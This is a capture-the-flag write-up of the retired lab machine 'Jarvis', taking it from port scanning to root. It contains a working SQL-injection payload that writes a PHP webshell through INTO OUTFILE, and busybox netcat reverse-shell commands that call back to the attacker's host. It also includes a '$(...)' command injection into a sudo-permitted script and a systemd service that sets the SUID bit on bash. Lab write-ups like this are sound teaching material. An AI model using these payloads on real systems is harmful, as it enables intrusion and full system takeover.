Jarvis
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Jarvis is a medium Linux box and a textbook one: three steps, one per layer. Port 80 serves a hotel whoseroom.php?cod=concatenates the parameter into the query, and the injection does not stop at reading the database: withINTO OUTFILEit writes a PHP file into the web root (SQLi to file write), which is a webshell aswww-data. From there, an admin script runnable aspepperasks for an IP from the keyboard and drops it inside a shell command: a$(...)is all it takes (command injection). And for the escalation,/bin/systemctlcarries the SUID bit (SUID abuse), so you write a service that runschmod +s /bin/bashand start it. The path is walked twice on purpose: first withsqlmap, which does the whole thing by itself, and then by hand, because what matters is not the shell but understanding what the tool is doing.
About the evidence. Five screenshots are published and all five are browser shots: the landing page showing the second domain name, the link that gives away the vulnerable parameter, and the three from the injection (order by 7,order by 8and the union withINTO OUTFILE). The terminals go as text. Two fidelity notices. The first: there is nosudo -lpublished on this box, because the note does not keep one; what there is is the script being run aspepper, which is the proof that the permission exists, and the script's source is not there either, so the explanation stays within what the session demonstrates. The second sits where it belongs, next to the SUIDfindoutput. Both flags are shown in full because the box is retired.
Reconnaissance#
Initial scan#
The returning TTL hints at the operating system: every OS starts it at a default value and every router decrements it by one per hop. ttl=63 is 64 minus one hop: Linux.
ping -c 1 10.129.229.13764 bytes from 10.129.229.137: icmp_seq=1 ttl=63 time=21.6 ms
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.229.137 -oG scan... PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 64999/tcp open unknown syn-ack ttl 63 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 12.06 seconds Raw packets sent: 72972 (3.211MB) | Rcvd: 65885 (2.635MB)
The 64999 is exactly why the sweep carries -p-: it sits far above the thousand ports nmap looks at by default, so a quick scan never sees it.
nmap -p22,80,64999 -sCV 10.129.229.137 -oN targetedScan... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA) | 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA) |_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Stark Hotel 64999/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.25 (Debian) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.66 seconds
Two identical Apaches and an SSH. The one on 64999 has no title at all, so it is not an application: it is something living on its own.
HTTP - TCP 64999: the ironwaf header#
whatweb http://10.129.229.137:64999/http://10.129.229.137:64999/ [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[10.129.229.137], UncommonHeaders[ironwaf]
whatweb http://10.129.229.137/http://10.129.229.137/ [200 OK] Apache[2.4.25], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[supersecurehotel@logger.htb], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[10.129.229.137], JQuery, Modernizr[2.6.2.min], Open-Graph-Protocol, Script, Title[Stark Hotel], UncommonHeaders[ironwaf], X-UA-Compatible[IE=edge]
Two things, each worth its own line:
- Both ports answer with a non-standard header called
ironwaf. A server does not advertise that by accident: something homemade sits in front filtering, and it is worth bearing in mind before firing anything that makes a lot of requests in a row. whatwebpulled an email address out of the page:supersecurehotel@logger.htb. That is two domain names in one go, and neither of them resolves yet.
echo '10.129.229.137 logger.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts10.129.229.137 logger.htb
Content discovery#
dirsearch -u http://logger.htb --exclude-status=403,404 -t 200 2>/dev/null... Target: http://logger.htb/ [23:04:37] Starting: [23:04:44] 301 - 305B - /js -> http://logger.htb/js/ [23:05:01] 301 - 306B - /css -> http://logger.htb/css/ [23:05:07] 301 - 308B - /fonts -> http://logger.htb/fonts/ [23:05:07] 200 - 755B - /footer.php [23:05:11] 301 - 309B - /images -> http://logger.htb/images/ [23:05:11] 200 - 816B - /images/ [23:05:14] 200 - 677B - /js/ [23:05:25] 301 - 313B - /phpmyadmin -> http://logger.htb/phpmyadmin/ [23:05:27] 200 - 1KB - /phpmyadmin/README [23:05:27] 200 - 3KB - /phpmyadmin/doc/html/index.html [23:05:27] 200 - 4KB - /phpmyadmin/ [23:05:27] 200 - 19KB - /phpmyadmin/ChangeLog [23:05:27] 200 - 4KB - /phpmyadmin/index.php
There is a phpMyAdmin being served, which means a MySQL database sits behind it. With no credentials that is worth nothing yet, but it sets the expectation: if an injection turns up, the engine is MySQL and its possibilities are MySQL's.
The second name, and the parameter#
The landing page introduces itself under a name that is not the one we put in /etc/hosts, the same one that came in the email:

echo '10.129.229.137 supersecurehotel.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts10.129.229.137 supersecurehotel.htb
And each room's booking button shows, in the status bar, the path carrying a numeric identifier:

A parameter called cod, which is a number and selects a row. It is the first place where a quote gets tried.
Shell as www-data#
The short way: sqlmap#
sqlmap -u 'http://supersecurehotel.htb/room.php?cod=2' --batch --dbs --dump hotel... Database: hotel Table: room [6 entries] +-----+------------------------------------------------------------------------------------------------------------------------------ | cod | mini | star | image | price | name | descrip | +-----+------------------------------------------------------------------------------------------------------------------------------ | 1 | <li><i class="icon-check"></i> Perfect for traveling couples</li><li><i class="icon-check"></i> Breakfast included</li><li><i class="icon-check"></i> Price does not include VAT & services fee</li> | <i class="icon-star-full full"></i><i class="icon-star-full full"></i><i class="icon-star-full full"></i><i class="icon-star-full full"></i><i class="icon-star-full"></i> | room-6.jpg | 270 | Superior Family Room | Superior room, perfect for luxury families.\r\nBig room with a lot of extras | | 2 | <li><i class="icon-check"></i> Only 10 rooms are available</li><li><i class="icon-check"></i> Breakfast included</li><li><i class="icon-check"></i> Price does not include VAT & services fee</li> | <i class="icon-star-full full"></i><i class="icon-star-full full"></i><i class="icon-star-full full"></i><i class="icon-star-full"></i><i class="icon-star-full"></i> | room-1.jpg | 149 | Suite | Suite room is perfect | ... | 6 | <li><i class="icon-check"></i> Perfect for traveling couples</li><li><i class="icon-check"></i> Breakfast included</li><li><i class="icon-check"></i> Price does not include VAT & services fee</li> | <i class="icon-star-full full"></i><i class="icon-star-full full"></i><i class="icon-star-full full"></i><i class="icon-star-full full"></i><i class="icon-star-full"></i> | room-6.jpg | 360 | Superior Family Room | Luxury room for high class families | +-----+------------------------------------------------------------------------------------------------------------------------------ [23:47:49] [INFO] table 'hotel.room' dumped to CSV file '/root/.local/share/sqlmap/output/supersecurehotel.htb/dump/hotel/room.csv' [23:47:49] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/supersecurehotel.htb' [*] ending @ 23:47:49 /2026-10-28/
The database is called hotel, the table room, and it has six rows. That number shows up again shortly and it is no coincidence.
The interesting part is that the database hides no credential at all: only room descriptions. The prize of this injection is not the data, it is the disk, and sqlmap does it on its own:
sqlmap -u 'http://supersecurehotel.htb/room.php?cod=2' --batch --dbs --os-shell... [23:53:18] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method [23:53:18] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://supersecurehotel.htb:80/tmpuifdy.php [23:53:18] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://supersecurehotel.htb:80/tmpbibke.php [23:53:18] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER os-shell> whoami do you want to retrieve the command standard output? [Y/n/a] Y command standard output: 'www-data'
That is it: command execution as www-data. But a sqlmap os-shell leaves two randomly named PHP files on the server and explains nothing, so it is worth walking the same path by hand.
The long way: by hand#
The first thing is confirming the parameter enters the query, and the form that does not depend on the page displaying anything is time: if the database sleeps, the answer takes longer.
time curl 'http://supersecurehotel.htb/room.php?cod=sleep(1)--%20-'... real 6.10s user 0.00s sys 0.02s cpu 0%
time curl 'http://supersecurehotel.htb/room.php?cod=sleep(5)--%20-'... real 30.07s user 0.01s sys 0.00s cpu 0%
One second gives six and five give thirty: six times in both cases. And six is exactly the number of rows sqlmap just dumped from the room table, because sleep() sits in the condition and gets evaluated once per row examined. The factor does not only confirm the injection, it counts the rows.
The next step is learning how many columns the query returns, which is what a UNION has to match. ORDER BY <n> sorts by column number n and fails the moment n goes past the end:
http://supersecurehotel.htb/room.php?cod=1%20order%20by%207
http://supersecurehotel.htb/room.php?cod=1%20order%20by%208
With 7 the card shows; with 8 the page stops at the header and paints nothing. Seven columns.
And with that you can already write to disk. SELECT ... INTO OUTFILE dumps the query's result into a file on the server, so all it takes is putting PHP code in one of the seven columns and pointing at the site's root. The leading -1 is there so the original query returns no row and the file holds only ours.
http://supersecurehotel.htb/room.php?cod=-1%20union%20select%201,2,3,4,5,%27%3C?php%20system($_GET[%22cmd%22]);%20?%3E%27%20,7%20INTO%20OUTFILE%20%27/var/www/html/shell.php%27
The page returns nothing, which is exactly what INTO OUTFILE does: the result never travels to the client, it stays written on the server. For this to work two things have to hold, and here they do: the database user's FILE privilege and a secure_file_priv that does not block it.
curl 'http://supersecurehotel.htb/shell.php?cmd=id'1 2 3 4 5 uid=33(www-data) gid=33(www-data) groups=33(www-data) 7
That output deserves a second look. The file is not a clean webshell: it is the whole row the query wrote, with its seven columns separated by tabs. 1 2 3 4 5 are the values we supplied, the sixth has run as PHP and left id's output in its place, and the 7 falls underneath because the dump's tab and newline are in the file too.
curl 'http://supersecurehotel.htb/shell.php?cmd=busybox+nc+10.10.15.120+4444+-e+/bin/bash'penelope[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.68.100 • 172.17.0.1 • 10.10.15.120 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from jarvis~10.129.229.137-Linux-x86_64 😍 Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: Ctrl+P [+] Logging to /home/krmena/.penelope/sessions/jarvis~10.129.229.137-Linux-x86_64/2026_10_29-00_26_11-065.log 📜 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── www-data@jarvis:/var/www/html$ whoami www-data www-data@jarvis:/var/www/html$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
nc's -e (run a program and wire its input and output to the socket) does not exist in the netcat build most distributions ship, but busybox carries its own and does support it. That is the reason for writing busybox nc and not plain nc.
Shell as pepper#
simpler.py: a sudo on a script#
In /var/www/Admin-Utilities there is a simpler.py that www-data can run as pepper. The script has an option that asks for an address from the keyboard, and the question you always ask of a program that takes an IP to do something with is whether it builds the command by gluing text together. You answer it with a command substitution: if what we type ends up inside a shell, the $(...) runs.
The trigger is a small script of our own in /tmp, nothing clever about it:
nano shell.shUnable to create directory /var/www/.nano: Permission denied It is required for saving/loading search history or cursor positions. Press Enter to continue
cat shell.sh#!/bin/bash busybox nc 10.10.15.120 4443 -e /bin/bash
chmod +x shell.shThe editor's warning is not a failure: nano tries to save its history in www-data's $HOME, which is /var/www, and it cannot write there. The file in /tmp saves just fine.
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p*********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ / __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | | \__ \ | | | | | | |_) | | __/ |_ | |_) | |_| | |___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | |_| |_| |___/ @ironhackers.es *********************************************** Enter an IP: "$(/tmp/shell.sh)"
The script prints nothing more, and it does not need to: what proves the input ends up inside a shell command is that the shell arrives on the other side.
nc -nlvp 4443listening on [any] 4443 ... connect to [10.10.15.120] from (UNKNOWN) [10.129.229.137] 52726 script /dev/null -c bash Script started, file is /dev/null pepper@jarvis:/tmp$ ^Z zsh: suspended nc -nlvp 4443
stty raw -echo; fg[1] - continued nc -nlvp 4443 pepper@jarvis:/tmp$ export SHELL=bash TERM=xterm pepper@jarvis:/tmp$ reset xterm
The TTY treatment goes in whole because it is a single manoeuvre: script opens a pseudo-terminal, the Ctrl+Z drops nc into the background, stty raw -echo takes echo and signal handling away from our terminal (so a Ctrl+C reaches the victim and not us), fg brings nc back to the foreground, and export plus reset fix the terminal's size and type.
cdlsWeb user.txt
cat user.txtb7044eb62021cfa54d938f8febf0dc4e
Privilege escalation#
A systemctl with the SUID bit#
find / -perm -4000 2>/dev/null/bin/fusermount /bin/bash /bin/mount /bin/ping /bin/systemctl /bin/umount /bin/su /usr/bin/newgrp /usr/bin/passwd /usr/bin/gpasswd /usr/bin/chsh /usr/bin/sudo /usr/bin/chfn /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper
A fidelity notice about this output. The list already contains /bin/bash, and the SUID bit on /bin/bash is precisely what the service in the next two steps sets, which has not run yet. The likeliest reading is that this find was repeated after the escalation and that what got written down was the second run. It is published as it stands because it is the output there is: fixing a listing so it matches the story would be inventing it.
What is factory-issue, and is the hole, is /bin/systemctl. Almost everything else on that list ships with the system (passwd, su, sudo, mount, ping, chsh). systemctl does not: it is the boss of services, and with the SUID bit anyone can define what command the machine runs and under which identity.
A three-line systemd service#
nano /dev/shm/root.servicecat /dev/shm/root.service[Service] Type=oneshot ExecStart=/bin/bash -c "chmod +s /bin/bash" [Install] WantedBy=multi-user.target
It is the shortest service you can write. Type=oneshot means it starts, does its thing and ends rather than staying resident; ExecStart is the command, and since systemctl runs as root, so does that command. And what it does is not open a shell, which would die with the service, but leave an existing binary marked: chmod +s /bin/bash.
/bin/systemctl enable /dev/shm/root.service
/bin/systemctl start rootls -l /bin/bash-rwsr-sr-x 1 root root 1099016 May 15 2017 /bin/bash
enable with an absolute path is the piece that makes this possible: it does not demand write access to /etc/systemd/system/, it is enough to be able to read the file wherever it is, and /dev/shm is writable by anyone. The two s in -rwsr-sr-x confirm the service ran: chmod +s sets the user and the group bit at once.
bash -pcat /root/root.txt65b940d9aea1cc1bfe63eafffd65f83c
The -p is not optional. A SUID bash drops its privileges on its own at startup, precisely so as not to be this; -p tells it to keep the effective UID, which is why the prompt becomes bash-4.4#.
Box rooted.
Attack chain#
80 + 64999 (Apache 2.4.25) ─► homemade "ironwaf" header on both
│ whatweb: Email[supersecurehotel@logger.htb] ─► two vhosts in one go
▼
logger.htb ─► dirsearch: /phpmyadmin (MySQL sits behind)
│ the "Book now!" button gives away room.php?cod=<n>
▼
time curl with sleep(1) and sleep(5) ─► 6s and 30s: injection, and 6 = rows in the table
│ order by 7 paints / order by 8 does not ─► SEVEN columns
▼
union select 1,..,'<?php system($_GET[cmd]); ?>',7 INTO OUTFILE /var/www/html/shell.php
│ busybox nc <kali> 4444 -e /bin/bash
▼
shell as www-data
│ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
▼
"$(/tmp/shell.sh)" at the "Enter an IP" prompt ─► pepper ─► user.txt
│ find / -perm -4000 ─► /bin/systemctl with SUID
▼
.service in /dev/shm with ExecStart=chmod +s /bin/bash + enable <absolute path> + start
│ bash -p (without -p, bash drops the privileges by itself)
▼
root.txtLessons learned#
- A SQL injection does not end at the database. There was not a single hash to steal here: the prize was the disk. With the
FILEprivilege and a permissivesecure_file_priv,INTO OUTFILEturns a read into a write, and a write into the web root is code execution. - Time measures, it does not only confirm.
sleep(1)gave six seconds andsleep(5)gave thirty because the condition is evaluated row by row. The same factor that proves the injection counts how many rows the table has. - It is worth walking by hand what
sqlmapdoes on its own. The tool left two randomly named PHP files on the server and anos-shell; the manual path explained how many columns there are, why the response comes back empty, and why the webshell returns1 2 3 4 5 ... 7around the output. - A
-p-is not about being thorough. Port64999sits outside the thousand ports of a default scan. A short sweep would have given two ports and an incomplete map. systemctlwith SUID isrootoutright. You do not need to write into/etc/systemd/system/:enableaccepts an absolute path, and/dev/shmis writable by anyone. The binary that decides what the machine runs cannot carry the SUID bit.- A
chmod +s /bin/bashoutlives the service. A reverse shell inExecStartdies when the service ends; marking a binary that already exists leaves the door open. And on the way in, remember the-p, becausebashgives the privileges up all by itself.